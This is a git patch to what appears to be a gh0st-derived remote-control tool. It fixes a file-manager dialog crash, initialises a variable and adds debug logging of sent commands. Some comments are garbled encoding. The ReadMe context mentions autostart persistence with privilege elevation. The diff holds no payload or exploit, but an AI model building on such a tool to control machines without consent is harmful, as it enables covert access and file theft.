From 2c870f1952669d1f294ffa8cf36619c2563723d0 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang Date: Sun, 14 Mar 2021 19:54:52 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E6=96=87=E4=BB=B6=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E5=AF=B9=E8=AF=9D=E6=A1=86SetPaneText=E5=B4=A9=E6=BA=83?= =?UTF-8?q?=EF=BC=8C=E4=BC=A0=E8=BE=93=E6=95=85=E9=9A=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ReadMe.txt | 3 +++ client/FileManager.cpp | 4 ++-- client/FileManager.h | 2 +- server/2015Remote/FileManagerDlg.cpp | 10 +++++++--- server/2015Remote/FileManagerDlg.h | 12 ++++++++++++ server/2015Remote/IOCPServer.cpp | 12 +++++++++++- 6 files changed, 36 insertions(+), 7 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 4bd3a70..fb759bc 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -216,3 +216,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 2019.8.25 调整项目设置,解决采用VS2015编译时某些项目不通过的问题。 + +2021.3.14 +修复了若干个问题。 diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 67140ef..9a1df55 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -26,7 +26,7 @@ CFileManager::~CFileManager() m_UploadList.clear(); } -void CFileManager::OnReceive(PBYTE lpBuffer, UINT nSize) +VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { switch (lpBuffer[0]) { @@ -442,7 +442,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) UINT CFileManager::SendFileData(LPBYTE lpBuffer) { - UINT nRet; + UINT nRet = 0; FILESIZE *pFileSize; char *lpFileName; diff --git a/client/FileManager.h b/client/FileManager.h index 7a7def4..1c3635d 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -28,7 +28,7 @@ typedef struct class CFileManager : public CManager { public: - void OnReceive(PBYTE lpBuffer, UINT nSize); + virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); UINT SendDriveList(); CFileManager(CClientSocket *pClient, int h = 0); virtual ~CFileManager(); diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index db93970..3bac396 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide) ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal) ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) + ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage) //}}AFX_MSG_MAP END_MESSAGE_MAP() @@ -1110,14 +1111,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) void CFileManagerDlg::ShowMessage(char *lpFmt, ...) { - char buff[1024]; + char *buff = new char[1024]; va_list arglist; va_start( arglist, lpFmt ); - memset(buff, 0, sizeof(buff)); + memset(buff, 0, 1024); vsprintf(buff, lpFmt, arglist); - m_wndStatusBar.SetPaneText(0, buff); + // fix: ̲߳ؼ + // m_wndStatusBar.SetPaneText(0, buff); + // msg 1ΪС,2Ϊָ + SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff); va_end( arglist ); } diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index 3551b57..7e12be0 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -6,6 +6,8 @@ #endif // _MSC_VER > 1000 #include "gh0st2Remote.h" +#define WM_MY_MESSAGE (WM_USER+300) + // FileManagerDlg.h : header file // @@ -15,6 +17,16 @@ typedef CList strList; class CFileManagerDlg : public CDialog { +protected: + // ״̬Ϣ + afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam) + { + char *buff = (char*)lParam; + m_wndStatusBar.SetPaneText(0, buff); + delete[]buff; + return S_OK; + } + // Construction public: bool m_bIsStop; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index d092273..46f081d 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -521,7 +521,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { assert (ContextObject); - + // ͵ + if (ulOriginalLength < 100) { + char buf[100] = { 0 }; + if (ulOriginalLength == 1){ + sprintf_s(buf, "command %d", int(szBuffer[0])); + } + else { + memcpy(buf, szBuffer, ulOriginalLength); + } + OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n"); + } try { if (ulOriginalLength > 0)